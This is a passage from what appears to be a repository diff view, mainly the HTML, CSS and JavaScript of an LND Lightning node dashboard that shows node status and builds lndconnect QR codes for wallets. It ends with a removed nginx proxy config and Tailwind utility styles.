.container { max-width: 56rem; margin: 0 auto; padding: 2rem; padding-bottom: 4rem; }
.flex { display: flex; }
.flex-col { flex-direction: column; }
.items-center { align-items: center; }
.items-start { align-items: start; }
.justify-between { justify-content: space-between; }
.gap-2 { gap: 0.5rem; }
.gap-3 { gap: 0.75rem; }
.gap-4 { gap: 1rem; }
.gap-6 { gap: 1.5rem; }
.flex-1 { flex: 1; }
.flex-shrink-0 { flex-shrink: 0; }
.min-w-0 { min-width: 0; }
.mb-1 { margin-bottom: 0.25rem; }
.mb-2 { margin-bottom: 0.5rem; }
.mb-3 { margin-bottom: 0.75rem; }
.mb-4 { margin-bottom: 1rem; }
.mb-6 { margin-bottom: 1.5rem; }
.mb-8 { margin-bottom: 2rem; }
.mt-2 { margin-top: 0.5rem; }
.mt-4 { margin-top: 1rem; }
.p-2 { padding: 0.5rem; }
.p-3 { padding: 0.75rem; }
.p-4 { padding: 1rem; }
.p-6 { padding: 1.5rem; }
.px-3 { padding-left: 0.75rem; padding-right: 0.75rem; }
.px-4 { padding-left: 1rem; padding-right: 1rem; }
.px-6 { padding-left: 1.5rem; padding-right: 1.5rem; }
.py-1-5 { padding-top: 0.375rem; padding-bottom: 0.375rem; }
.py-2 { padding-top: 0.5rem; padding-bottom: 0.5rem; }
.py-2-5 { padding-top: 0.625rem; padding-bottom: 0.625rem; }
.py-3 { padding-top: 0.75rem; padding-bottom: 0.75rem; }
.grid { display: grid; }
.grid-cols-1 { grid-template-columns: repeat(1, 1fr); }
.grid-cols-2 { grid-template-columns: repeat(2, 1fr); }
.grid-cols-3 { grid-template-columns: repeat(3, 1fr); }
.rounded-lg { border-radius: 0.5rem; }
.rounded-xl { border-radius: 0.75rem; }
.rounded-full { border-radius: 9999px; }
.overflow-hidden { overflow: hidden; }
.transition-all { transition: all 0.3s ease; }
.text-xs { font-size: 0.75rem; }
.text-sm { font-size: 0.875rem; }
.text-lg { font-size: 1.125rem; }
.text-xl { font-size: 1.25rem; }
.text-2xl { font-size: 1.5rem; }
.text-3xl { font-size: 1.875rem; }
.font-bold { font-weight: 700; }
.font-semibold { font-weight: 600; }
.font-medium { font-weight: 500; }
.font-mono { font-family: monospace; }
.uppercase { text-transform: uppercase; }
.tracking-wide { letter-spacing: 0.05em; }
.truncate { white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
.w-full { width: 100%; }
.text-white { color: white; }
.text-white-90 { color: rgba(255,255,255,0.9); }
.text-white-80 { color: rgba(255,255,255,0.8); }
.text-white-70 { color: rgba(255,255,255,0.7); }
.text-white-60 { color: rgba(255,255,255,0.6); }
.text-white-50 { color: rgba(255,255,255,0.5); }
.text-white-45 { color: rgba(255,255,255,0.45); }
.text-white-40 { color: rgba(255,255,255,0.4); }
.text-green { color: #4ade80; }
.text-orange { color: #fb923c; }
.text-red { color: #f87171; }
.bg-green { background: #4ade80; }
.bg-yellow { background: #facc15; }
.bg-red { background: #f87171; }
.icon-box { width: 4rem; height: 4rem; border-radius: 0.5rem; background: rgba(139, 92, 246, 0.2); display: flex; align-items: center; justify-content: center; }
.icon-box-sm { width: 3rem; height: 3rem; border-radius: 0.5rem; background: rgba(255,255,255,0.1); display: flex; align-items: center; justify-content: center; }
.status-dot { width: 0.75rem; height: 0.75rem; border-radius: 9999px; }
.status-dot-sm { width: 0.625rem; height: 0.625rem; border-radius: 9999px; display: inline-block; }
.relative { position: relative; }
.version-text { font-size: 0.75rem; color: rgba(255,255,255,0.4); }
/* Logo border matching electrs icon-box but with LND purple accent */
.logo-border { width: 4rem; height: 4rem; border-radius: 0.5rem; background: rgba(139, 92, 246, 0.2); display: flex; align-items: center; justify-content: center; overflow: hidden; }
.logo-border img { width: 3rem; height: 3rem; object-fit: contain; }
/* Stat row inside info-card */
.stat-row { display: flex; align-items: center; justify-content: space-between; padding: 0.75rem; background: rgba(255,255,255,0.05); border-radius: 0.5rem; }
/* Balance cards */
.balance-card { padding: 1rem; background: rgba(0,0,0,0.3); border-radius: 0.5rem; border: 1px solid rgba(255,255,255,0.08); }
/* Ping animation */
@keyframes ping { 75%, 100% { transform: scale(2); opacity: 0; } }
.animate-ping { animation: ping 1s cubic-bezier(0, 0, 0.2, 1) infinite; position: absolute; inset: 0; }
/* Connection details */
.conn-select { width: 100%; padding: 0.75rem 1rem; background: rgba(255,255,255,0.05); border: 1px solid rgba(255,255,255,0.1); border-radius: 0.5rem; color: white; font-size: 0.875rem; font-weight: 500; appearance: none; cursor: pointer; outline: none; background-image: url('data:image/svg+xml;utf8,<svg fill="white" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path d="M7 10l5 5 5-5z"/></svg>'); background-repeat: no-repeat; background-position: right 12px center; background-size: 20px; }
.conn-select:focus { border-color: rgba(255,255,255,0.25); }
.conn-select option { background: #1a1a2e; color: white; }
.conn-layout { display: flex; flex-direction: column; gap: 1.5rem; }
@media (min-width: 640px) { .conn-layout { flex-direction: row; } }
.qr-box { flex-shrink: 0; width: 196px; height: 196px; background: white; border-radius: 0.75rem; padding: 0.5rem; display: flex; align-items: center; justify-content: center; }
.qr-box img { width: 100%; height: auto; display: block; image-rendering: pixelated; }
.conn-fields { flex: 1; min-width: 0; display: flex; flex-direction: column; gap: 0.75rem; }
.field-label { font-size: 0.6875rem; font-weight: 600; text-transform: uppercase; letter-spacing: 0.05em; color: rgba(255,255,255,0.45); margin-bottom: 0.25rem; }
.field-row { display: flex; align-items: center; background: rgba(255,255,255,0.06); border: 1px solid rgba(255,255,255,0.1); border-radius: 0.5rem; overflow: hidden; min-width: 0; }
.field-value { flex: 1; min-width: 0; padding: 0.625rem 0.875rem; font-family: monospace; font-size: 0.8125rem; color: rgba(255,255,255,0.9); white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
.copy-btn { padding: 0.625rem 0.75rem; background: none; border: none; border-left: 1px solid rgba(255,255,255,0.1); cursor: pointer; color: rgba(255,255,255,0.4); transition: all 0.2s ease; display: flex; align-items: center; }
.copy-btn:hover { color: rgba(255,255,255,0.8); background: rgba(255,255,255,0.05); }
.copy-btn.copied { color: #4ade80; }
.field-row-split { display: flex; gap: 0.75rem; }
.field-row-split > div { flex: 1; }
.help-text { margin-top: 1rem; padding-top: 1rem; border-top: 1px solid rgba(255,255,255,0.08); font-size: 0.875rem; color: rgba(255,255,255,0.5); line-height: 1.5; }
/* Modal */
.modal-overlay { display: none; position: fixed; inset: 0; background: rgba(0,0,0,0.8); backdrop-filter: blur(4px); z-index: 50; align-items: center; justify-content: center; padding: 1rem; }
.modal-overlay.visible { display: flex; }
.modal-content { max-width: 42rem; width: 100%; max-height: 85vh; overflow: hidden; display: flex; flex-direction: column; }
.modal-body { overflow-y: auto; flex: 1; min-height: 0; }
.modal-tab { flex: 1; padding: 0.5rem 1rem; text-align: center; border-radius: 0.5rem; font-size: 0.875rem; font-weight: 500; cursor: pointer; transition: all 0.2s ease; color: rgba(255,255,255,0.6); background: none; border: none; }
.modal-tab.active { background: rgba(255,255,255,0.2); color: white; }
.modal-tab:not(.active):hover { color: rgba(255,255,255,0.9); }
.tab-panel { display: none; }
.tab-panel.active { display: block; }
.logs-box { background: rgba(0,0,0,0.4); border-radius: 0.5rem; padding: 1rem; font-family: monospace; font-size: 0.75rem; color: rgba(255,255,255,0.8); white-space: pre-wrap; word-break: break-all; min-height: 200px; }
/* Responsive grid */
@media (min-width: 768px) {
.md-grid-cols-2 { grid-template-columns: repeat(2, 1fr); }
.md-grid-cols-3 { grid-template-columns: repeat(3, 1fr); }
.md-grid-cols-4 { grid-template-columns: repeat(4, 1fr); }
.md-flex-row { flex-direction: row; }
}
</style>
</head>
<body>
<div class="bg-layer"></div>
<div class="overlay"></div>
<div class="container">
<!-- Header -->
<div class="glass-card p-6 mb-6">
<div class="flex flex-col md-flex-row items-center gap-4">
<div class="logo-border flex-shrink-0">
<img src="assets/img/app-icons/lnd.svg" alt="LND" />
</div>
<div class="flex-1 min-w-0">
<div class="flex items-center gap-3">
<h1 class="text-2xl font-bold text-white">LND</h1>
</div>
<p class="text-white-70">Lightning Network Daemon for instant Bitcoin payments</p>
<p class="text-sm text-white-60 mt-2" id="headerNetwork">&mdash;</p>
</div>
<button onclick="openSettings()" class="glass-button flex items-center gap-2 px-4 py-2-5 rounded-lg text-sm font-medium flex-shrink-0">
<svg style="width:1.25rem;height:1.25rem" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" d="M9.594 3.94c.09-.542.56-.94 1.11-.94h2.593c.55 0 1.02.398 1.11.94l.213 1.281c.063.374.313.686.645.87.074.04.147.083.22.127.325.196.72.257 1.075.124l1.217-.456a1.125 1.125 0 011.37.49l1.296 2.247a1.125 1.125 0 01-.26 1.431l-1.003.827c-.293.241-.438.613-.43.992a7.723 7.723 0 010 .255c-.008.378.137.75.43.991l1.004.827c.424.35.534.955.26 1.43l-1.298 2.247a1.125 1.125 0 01-1.369.491l-1.217-.456c-.355-.133-.75-.072-1.076.124a6.47 6.47 0 01-.22.128c-.331.183-.581.495-.644.869l-.213 1.281c-.09.543-.56.94-1.11.94h-2.594c-.55 0-1.019-.398-1.11-.94l-.213-1.281c-.062-.374-.312-.686-.644-.87a6.52 6.52 0 01-.22-.127c-.325-.196-.72-.257-1.076-.124l-1.217.456a1.125 1.125 0 01-1.369-.49l-1.297-2.247a1.125 1.125 0 01.26-1.431l1.004-.827c.292-.24.437-.613.43-.991a6.932 6.932 0 010-.255c.007-.38-.138-.751-.43-.992l-1.004-.827a1.125 1.125 0 01-.26-1.43l1.297-2.247a1.125 1.125 0 011.37-.491l1.216.456c.356.133.751.072 1.076-.124.072-.044.146-.086.22-.128.332-.183.582-.495.644-.869l.214-1.28Z" />
<path stroke-linecap="round" stroke-linejoin="round" d="M15 12a3 3 0 11-6 0 3 3 0 016 0z" />
</svg>
Settings
</button>
</div>
</div>
<!-- Summary strip -->
<div class="glass-card p-6 mb-6">
<div class="grid grid-cols-2 md-grid-cols-4 gap-3">
<div class="info-card flex items-center gap-3">
<div class="relative" style="width:0.75rem;height:0.75rem">
<div class="status-dot bg-green" id="statusDot"></div>
<div class="status-dot bg-green animate-ping" id="statusPing" style="display:none;opacity:0.75"></div>
</div>
<div>
<p class="text-xs text-white-60 mb-1">Node Status</p>
<p class="text-sm font-medium text-white" id="summaryNodeStatus">&mdash;</p>
</div>
</div>
<div class="info-card flex items-center gap-3">
<span style="font-size:1.5rem;color:#fb923c;font-weight:700">&#9889;</span>
<div>
<p class="text-xs text-white-60 mb-1">Channels</p>
<p class="text-sm font-medium text-orange" id="channelCount">0</p>
</div>
</div>
<div class="info-card flex items-center justify-between">
<div class="flex items-center gap-3">
<div class="status-dot-sm bg-green" id="restDot"></div>
<div>
<p class="text-xs text-white-60 mb-1">REST API</p>
<p class="text-sm font-medium text-white" id="summaryRestStatus">&mdash;</p>
</div>
</div>
<button onclick="openSettings(); setSettingsTab('rest');" class="glass-button px-3 py-1-5 rounded-lg text-xs font-medium">Settings</button>
</div>
<div class="info-card flex items-center justify-between">
<div class="flex items-center gap-3">
<div class="status-dot-sm bg-green" id="grpcDot"></div>
<div>
<p class="text-xs text-white-60 mb-1">gRPC</p>
<p class="text-sm font-medium text-white" id="summaryGrpcStatus">&mdash;</p>
</div>
</div>
<button onclick="openSettings(); setSettingsTab('logs');" class="glass-button px-3 py-1-5 rounded-lg text-xs font-medium">Logs</button>
</div>
</div>
</div>
<!-- Wallet -->
<div class="glass-card p-6 mb-8">
<div class="flex items-start gap-4 mb-4">
<div class="icon-box-sm flex-shrink-0">
<svg style="width:1.5rem;height:1.5rem;color:#fb923c" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M3 10h18M7 15h1m4 0h1m-7 4h12a3 3 0 003-3V8a3 3 0 00-3-3H6a3 3 0 00-3 3v8a3 3 0 003 3z" />
</svg>
</div>
<div class="flex-1">
<h2 class="text-xl font-semibold text-white mb-1">Wallet</h2>
<p class="text-white-60 text-sm">Balance, Receive, and Send will appear here when connected to your node.</p>
</div>
</div>
<div class="grid grid-cols-1 md-grid-cols-3 gap-3 mb-4">
<div class="balance-card">
<p class="text-xs text-white-50 uppercase tracking-wide mb-1">Spendable</p>
<p class="text-lg font-semibold text-white" id="balanceSpendable">&mdash;</p>
</div>
<div class="balance-card">
<p class="text-xs text-white-50 uppercase tracking-wide mb-1">Lightning</p>
<p class="text-lg font-semibold text-white" id="balanceLightning">&mdash;</p>
</div>
<div class="balance-card">
<p class="text-xs text-white-50 uppercase tracking-wide mb-1">Total</p>
<p class="text-lg font-semibold text-white" id="balanceTotal">&mdash;</p>
</div>
</div>
<div class="flex gap-4">
<button class="glass-button px-6 py-3 rounded-lg font-medium" disabled>Receive</button>
<button class="glass-button px-6 py-3 rounded-lg font-medium" disabled>Send</button>
</div>
<p class="text-white-50 text-xs mt-4">Recent activity will be listed here.</p>
</div>
<!-- Connect Your Wallet -->
<div class="glass-card p-6 mb-8">
<h2 class="text-xl font-semibold text-white mb-1">Connect Your Wallet</h2>
<p class="text-white-70 text-sm mb-4" id="connSubtitle">Use a wallet like Zeus, Zap, or BlueWallet to connect remotely.</p>
<!-- Mode selector -->
<div class="mb-4">
<select id="connMode" onchange="updateConnInfo()" class="conn-select">
<option value="rest-tor">REST (Tor)</option>
<option value="rest-local">REST (Local Network)</option>
<option value="grpc-tor">gRPC (Tor)</option>
<option value="grpc-local">gRPC (Local Network)</option>
</select>
</div>
<!-- Connection display -->
<div class="conn-layout" id="connDisplay">
<div class="qr-box" id="lndQrBox">
<div style="color:#999;font-size:12px;text-align:center;padding:2rem">Loading...</div>
</div>
<div class="conn-fields">
<div>
<div class="field-label">Host</div>
<div class="field-row">
<span class="field-value" id="connHost">&mdash;</span>
<button class="copy-btn" onclick="copyEl('connHost', this)" title="Copy">
<svg width="16" height="16" fill="none" stroke="currentColor" viewBox="0 0 24 24"><rect x="9" y="9" width="13" height="13" rx="2" ry="2" stroke-width="2"/><path d="M5 15H4a2 2 0 01-2-2V4a2 2 0 012-2h9a2 2 0 012 2v1" stroke-width="2"/></svg>
</button>
</div>
</div>
<div class="field-row-split">
<div>
<div class="field-label">Port</div>
<div class="field-row">
<span class="field-value" id="connPort">&mdash;</span>
<button class="copy-btn" onclick="copyEl('connPort', this)" title="Copy">
<svg width="16" height="16" fill="none" stroke="currentColor" viewBox="0 0 24 24"><rect x="9" y="9" width="13" height="13" rx="2" ry="2" stroke-width="2"/><path d="M5 15H4a2 2 0 01-2-2V4a2 2 0 012-2h9a2 2 0 012 2v1" stroke-width="2"/></svg>
</button>
</div>
</div>
<div>
<div class="field-label">Protocol</div>
<div class="field-row">
<span class="field-value" id="connProto">&mdash;</span>
</div>
</div>
</div>
<button onclick="copyLndconnectUri()" class="glass-button w-full mt-2 px-4 py-2-5 rounded-lg text-sm font-medium" id="copyUriBtn">Copy lndconnect URI</button>
</div>
</div>
<div class="help-text">
Scan the QR code with <strong style="color:rgba(255,255,255,0.8)">Zeus</strong>, <strong style="color:rgba(255,255,255,0.8)">Zap</strong>, or <strong style="color:rgba(255,255,255,0.8)">BlueWallet</strong> to connect. Tor mode recommended for remote access.
</div>
</div>
</div>
<!-- Tabbed Settings Modal -->
<div class="modal-overlay" id="settingsModal">
<div class="glass-card p-6 modal-content">
<div class="flex justify-between items-center mb-4 flex-shrink-0">
<h2 class="text-2xl font-bold text-white">Settings</h2>
<button onclick="closeSettings()" class="glass-button px-3 py-2 rounded-lg text-xl font-medium">&times;</button>
</div>
<div class="flex gap-2 mb-4 flex-shrink-0" style="background:rgba(255,255,255,0.06);border-radius:0.5rem;padding:0.25rem">
<button class="modal-tab active" data-tab="node">Node Status</button>
<button class="modal-tab" data-tab="rest">REST API</button>
<button class="modal-tab" data-tab="grpc">gRPC</button>
<button class="modal-tab" data-tab="logs">Logs</button>
</div>
<div class="modal-body" style="display:flex;flex-direction:column;gap:1rem">
<!-- Node Status tab -->
<div id="panel-node" class="tab-panel active">
<div class="flex items-start gap-4 mb-4">
<div class="icon-box-sm flex-shrink-0">
<svg style="width:1.5rem;height:1.5rem;color:rgba(255,255,255,0.8)" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13 10V3L4 14h7v7l9-11h-7z" /></svg>
</div>
<div class="flex-1">
<h3 class="text-lg font-semibold text-white mb-1">Node Status</h3>
<p class="text-white-70 text-sm">Lightning node information</p>
</div>
</div>
<div style="display:flex;flex-direction:column;gap:0.75rem">
<div class="stat-row">
<span class="text-white-80 text-sm">Node Status</span>
<span class="text-green text-sm font-medium" id="modalNodeStatus">&mdash;</span>
</div>
<div class="stat-row">
<span class="text-white-80 text-sm">Network</span>
<span class="text-white-60 text-sm" id="modalNetwork">&mdash;</span>
</div>
<div class="stat-row">
<span class="text-white-80 text-sm">Version</span>
<span class="text-white-60 text-sm" id="modalVersion">&mdash;</span>
</div>
</div>
<div style="display:flex;flex-direction:column;gap:0.75rem;margin-top:1rem">
<div class="stat-row" style="flex-direction:column;align-items:flex-start">
<div class="font-semibold text-white mb-1">Network Mode</div>
<div class="text-white-70 text-sm" id="modalNetworkMode">&mdash;</div>
</div>
<div class="stat-row" style="flex-direction:column;align-items:flex-start">
<div class="font-semibold text-white mb-1">Bitcoin Backend</div>
<div class="text-white-70 text-sm" id="modalBitcoinBackend">&mdash;</div>
</div>
</div>
</div>
<!-- REST API tab -->
<div id="panel-rest" class="tab-panel">
<div class="flex items-start gap-4 mb-4">
<div class="icon-box-sm flex-shrink-0">
<svg style="width:1.5rem;height:1.5rem;color:rgba(255,255,255,0.8)" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M8.111 16.404a5.5 5.5 0 017.778 0M12 20h.01" /></svg>
</div>
<div class="flex-1">
<h3 class="text-lg font-semibold text-white mb-1">REST API</h3>
<p class="text-white-70 text-sm">HTTP REST API access</p>
</div>
</div>
<div style="display:flex;flex-direction:column;gap:0.75rem">
<div class="stat-row">
<span class="text-white-80 text-sm">REST Endpoint</span>
<span class="text-white-60 text-sm font-mono" id="modalRestEndpoint">&mdash;</span>
</div>
<div class="stat-row">
<span class="text-white-80 text-sm">API Status</span>
<span class="text-green text-sm font-medium" id="modalRestStatus">&mdash;</span>
</div>
<div class="stat-row">
<span class="text-white-80 text-sm">API Version</span>
<span class="text-white-60 text-sm" id="modalRestVersion">v1</span>
</div>
</div>
<button class="info-card-button w-full mt-4 text-sm font-medium py-3 rounded-lg" onclick="copyRESTInfo()" style="text-align:center;display:block">Copy REST Info</button>
</div>
<!-- gRPC tab -->
<div id="panel-grpc" class="tab-panel">
<div class="flex items-start gap-4 mb-4">
<div class="icon-box-sm flex-shrink-0">
<svg style="width:1.5rem;height:1.5rem;color:rgba(255,255,255,0.8)" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M8.111 16.404a5.5 5.5 0 017.778 0M12 20h.01" /></svg>
</div>
<div class="flex-1">
<h3 class="text-lg font-semibold text-white mb-1">gRPC Connection</h3>
<p class="text-white-70 text-sm">High-performance gRPC API</p>
</div>
</div>
<div style="display:flex;flex-direction:column;gap:0.75rem">
<div class="stat-row">
<span class="text-white-80 text-sm">gRPC Host</span>
<span class="text-white-60 text-sm font-mono" id="modalGrpcHost">&mdash;</span>
</div>
<div class="stat-row">
<span class="text-white-80 text-sm">gRPC Status</span>
<span class="text-green text-sm font-medium" id="modalGrpcStatus">&mdash;</span>
</div>
<div class="stat-row">
<span class="text-white-80 text-sm">P2P Port</span>
<span class="text-white-60 text-sm font-mono">9735</span>
</div>
</div>
</div>
<!-- Logs tab -->
<div id="panel-logs" class="tab-panel">
<div class="flex justify-between items-center mb-3">
<h3 class="text-lg font-semibold text-white">Node Logs</h3>
<button onclick="loadLogs()" class="glass-button px-3 py-1-5 rounded-lg text-xs font-medium">Refresh</button>
</div>
<div class="logs-box" id="logsContent">Loading logs...</div>
</div>
</div>
</div>
</div>
<script src="qrcode.js"></script>
<script>
const REST_PORT = 8080;
const GRPC_PORT = 10009;
const P2P_PORT = 9735;
const host = window.location.hostname;
function getBackendUrl() {
const params = new URLSearchParams(window.location.search);
return params.get('backend') || (window.location.protocol + '//' + window.location.hostname);
}
function setSettingsTab(tabId) {
document.querySelectorAll('.modal-tab').forEach(btn => {
btn.classList.toggle('active', btn.getAttribute('data-tab') === tabId);
});
document.querySelectorAll('.tab-panel').forEach(panel => {
panel.classList.toggle('active', panel.id === 'panel-' + tabId);
});
if (tabId === 'logs') loadLogs();
}
document.querySelectorAll('.modal-tab').forEach(btn => {
btn.addEventListener('click', () => setSettingsTab(btn.getAttribute('data-tab')));
});
function copyRESTInfo() {
const endpoint = host + ':' + REST_PORT;
const info = 'REST API: http://' + endpoint + '\nAPI Version: v1';
navigator.clipboard.writeText(info).then(() => alert('REST info copied to clipboard!'));
}
function openSettings() {
document.getElementById('settingsModal').classList.add('visible');
}
function closeSettings() {
document.getElementById('settingsModal').classList.remove('visible');
}
function applyLiveData(data) {
if (data.getinfo) {
const g = data.getinfo;
const status = g.synced_to_chain ? 'Running' : 'Waiting for chain…';
const network = (g.chains && g.chains[0]) ? g.chains[0].network || '—' : '—';
const version = g.version || '—';
setText('headerNetwork', 'Network: ' + network);
setText('summaryNodeStatus', status);
setText('modalNodeStatus', status);
setText('modalNetwork', network);
setText('modalVersion', version);
setText('modalNetworkMode', network);
setText('modalBitcoinBackend', '—');
document.getElementById('statusPing').style.display = g.synced_to_chain ? 'block' : 'none';
}
if (data.channelCount !== undefined) {
setText('channelCount', String(data.channelCount));
}
setText('modalRestEndpoint', host + ':' + REST_PORT);
setText('modalRestStatus', data.restReachable ? 'Active' : '—');
setText('summaryRestStatus', data.restReachable ? 'Active' : '—');
setText('modalGrpcHost', host + ':' + GRPC_PORT);
setText('modalGrpcStatus', data.grpcReachable ? 'Connected' : '—');
setText('summaryGrpcStatus', data.grpcReachable ? 'Connected' : '—');
}
function setText(id, text) {
const el = document.getElementById(id);
if (el) el.textContent = text;
}
async function loadLogs() {
const logsContent = document.getElementById('logsContent');
const backendUrl = getBackendUrl();
if (backendUrl) {
logsContent.textContent = 'Loading logs...';
try {
const res = await fetch(backendUrl + '/api/container/logs?app_id=lnd&lines=200');
if (!res.ok) throw new Error(res.statusText);
const json = await res.json();
const lines = json.result || json.logs || (Array.isArray(json) ? json : []);
logsContent.textContent = Array.isArray(lines) ? lines.join('\n') : String(lines);
} catch (e) {
logsContent.textContent = 'Could not load logs: ' + e.message;
}
} else {
logsContent.textContent = 'Open this app with ?backend=http://HOST:5678 to load logs from the server.';
}
}
async function fetchLiveData() {
const backendUrl = getBackendUrl();
const data = { channelCount: 0, restReachable: false, grpcReachable: false };
if (backendUrl) {
try {
const getinfoRes = await fetch(backendUrl + '/proxy/lnd/v1/getinfo');
if (getinfoRes.ok) {
data.getinfo = await getinfoRes.json();
data.restReachable = true;
}
} catch (_) {}
try {
const chRes = await fetch(backendUrl + '/proxy/lnd/v1/channels');
if (chRes.ok) {
const ch = await chRes.json();
data.channelCount = (ch.channels && ch.channels.length) || 0;
}
} catch (_) {}
data.grpcReachable = data.restReachable;
}
applyLiveData(data);
}
document.addEventListener('DOMContentLoaded', () => {
fetchLiveData();
});
document.addEventListener('keydown', (e) => {
if (e.key === 'Escape') closeSettings();
});
document.getElementById('settingsModal').addEventListener('click', (e) => {
if (e.target.id === 'settingsModal') closeSettings();
});
// --- Connect Your Wallet ---
let lndConnInfo = null;
function renderQR(containerId, text) {
const container = document.getElementById(containerId);
if (!container) return;
container.innerHTML = '';
try {
const qr = qrcode(0, 'L');
qr.addData(text);
qr.make();
container.innerHTML = qr.createImgTag(3, 0);
} catch(e) {
container.innerHTML = '<div style="color:#999;font-size:11px;text-align:center;padding:2rem">QR too large for this mode</div>';
}
}
function buildLndconnectUri(connHost, connPort, cert, macaroon, isTor) {
let uri = 'lndconnect://' + connHost + ':' + connPort + '?';
if (!isTor && cert) uri += 'cert=' + cert + '&';
uri += 'macaroon=' + macaroon;
return uri;
}
function updateConnInfo() {
if (!lndConnInfo) return;
const mode = document.getElementById('connMode').value;
const isTor = mode.includes('tor');
const isRest = mode.includes('rest');
const port = isRest ? lndConnInfo.rest_port : lndConnInfo.grpc_port;
const connHost = isTor && lndConnInfo.tor_onion ? lndConnInfo.tor_onion : host;
const proto = isRest ? 'REST' : 'gRPC';
setText('connHost', connHost);
setText('connPort', String(port));
setText('connProto', proto);
if (isTor && !lndConnInfo.tor_onion) {
document.getElementById('lndQrBox').innerHTML = '<div style="color:#999;font-size:12px;text-align:center;padding:2rem">Tor not configured for LND</div>';
document.getElementById('connSubtitle').textContent = 'Tor hidden service not available. Use Local Network mode.';
return;
}
document.getElementById('connSubtitle').textContent = 'Scan QR with Zeus, Zap, or BlueWallet to connect.';
const uri = buildLndconnectUri(connHost, port, lndConnInfo.cert_base64url, lndConnInfo.macaroon_base64url, isTor);
renderQR('lndQrBox', uri);
}
function copyEl(id, btn) {
const text = document.getElementById(id).textContent.trim();
if (!text || text === '—') return;
navigator.clipboard.writeText(text).then(() => {
const orig = btn.innerHTML;
btn.innerHTML = '<svg width="16" height="16" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"/></svg>';
btn.style.color = '#4ade80';
setTimeout(() => { btn.innerHTML = orig; btn.style.color = ''; }, 1500);
});
}
function copyLndconnectUri() {
if (!lndConnInfo) return;
const mode = document.getElementById('connMode').value;
const isTor = mode.includes('tor');
const isRest = mode.includes('rest');
const port = isRest ? lndConnInfo.rest_port : lndConnInfo.grpc_port;
const connHost = isTor && lndConnInfo.tor_onion ? lndConnInfo.tor_onion : host;
const uri = buildLndconnectUri(connHost, port, lndConnInfo.cert_base64url, lndConnInfo.macaroon_base64url, isTor);
const btn = document.getElementById('copyUriBtn');
navigator.clipboard.writeText(uri).then(() => {
const orig = btn.textContent;
btn.textContent = 'Copied!';
btn.style.color = '#4ade80';
setTimeout(() => { btn.textContent = orig; btn.style.color = ''; }, 1500);
});
}
async function fetchConnectInfo() {
try {
const resp = await fetch(window.location.protocol + '//' + window.location.hostname + '/lnd-connect-info');
if (!resp.ok) throw new Error('HTTP ' + resp.status);
const data = await resp.json();
if (data.cert_base64url) {
lndConnInfo = data;
// Auto-select local mode when Tor is not available
if (!data.tor_onion) {
document.getElementById('connMode').value = 'rest-local';
document.getElementById('connSubtitle').textContent = 'Tor hidden service not available. Use Local Network mode.';
}
try { updateConnInfo(); } catch(ue) {
document.getElementById('lndQrBox').innerHTML = '<div style="color:#f87171;font-size:11px;text-align:center;padding:1rem">Update error: ' + ue.message + '</div>';
return;
}
} else if (data.error) {
throw new Error(data.error);
}
} catch(e) {
document.getElementById('lndQrBox').innerHTML = '<div style="color:#f87171;font-size:12px;text-align:center;padding:2rem">' + e.message + '</div>';
}
}
fetchConnectInfo();
</script>
</body>
</html>

File diff suppressed because one or more lines are too long

Before

Width:  |  Height:  |  Size: 179 KiB

View File

@@ -1,18 +0,0 @@
server {
listen 80;
server_name _;
root /usr/share/nginx/html;
index index.html;
location /lnd-connect-info {
proxy_pass http://127.0.0.1:5678/lnd-connect-info;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
location / {
try_files $uri $uri/ /index.html;
}
}

File diff suppressed because it is too large Load Diff

View File

@@ -1,210 +0,0 @@
/* Tailwind CSS utilities — manually extracted for bitcoin-ui */
/* Replaces cdn.tailwindcss.com to comply with CSP script-src 'self' */
*, ::before, ::after {
box-sizing: border-box;
border-width: 0;
border-style: solid;
border-color: currentColor;
}
img, svg { display: block; vertical-align: middle; max-width: 100%; height: auto; }
button { cursor: pointer; background-color: transparent; font-family: inherit; font-size: 100%; line-height: inherit; color: inherit; margin: 0; padding: 0; }
h1, h2 { font-size: inherit; font-weight: inherit; }
/* Position */
.relative { position: relative; }
.absolute { position: absolute; }
.fixed { position: fixed; }
.inset-0 { inset: 0; }
/* Display */
.hidden { display: none; }
.flex { display: flex; }
.grid { display: grid; }
/* Flex */
.flex-col { flex-direction: column; }
.flex-row { flex-direction: row; }
.flex-1 { flex: 1 1 0%; }
.flex-shrink-0 { flex-shrink: 0; }
.items-center { align-items: center; }
.items-start { align-items: flex-start; }
.justify-between { justify-content: space-between; }
.justify-center { justify-content: center; }
/* Gap */
.gap-2 { gap: 0.5rem; }
.gap-3 { gap: 0.75rem; }
.gap-4 { gap: 1rem; }
.gap-6 { gap: 1.5rem; }
/* Grid */
.grid-cols-1 { grid-template-columns: repeat(1, minmax(0, 1fr)); }
.grid-cols-2 { grid-template-columns: repeat(2, minmax(0, 1fr)); }
/* Width */
.w-3 { width: 0.75rem; }
.w-4 { width: 1rem; }
.w-5 { width: 1.25rem; }
.w-6 { width: 1.5rem; }
.w-8 { width: 2rem; }
.w-12 { width: 3rem; }
.w-16 { width: 4rem; }
.w-full { width: 100%; }
/* Height */
.h-1 { height: 0.25rem; }
.h-2 { height: 0.5rem; }
.h-3 { height: 0.75rem; }
.h-4 { height: 1rem; }
.h-5 { height: 1.25rem; }
.h-6 { height: 1.5rem; }
.h-8 { height: 2rem; }
.h-12 { height: 3rem; }
.h-16 { height: 4rem; }
.h-full { height: 100%; }
/* Min/Max */
.min-w-0 { min-width: 0px; }
.max-w-2xl { max-width: 42rem; }
.max-w-4xl { max-width: 56rem; }
.max-h-\[80vh\] { max-height: 80vh; }
/* Padding */
.p-2 { padding: 0.5rem; }
.p-3 { padding: 0.75rem; }
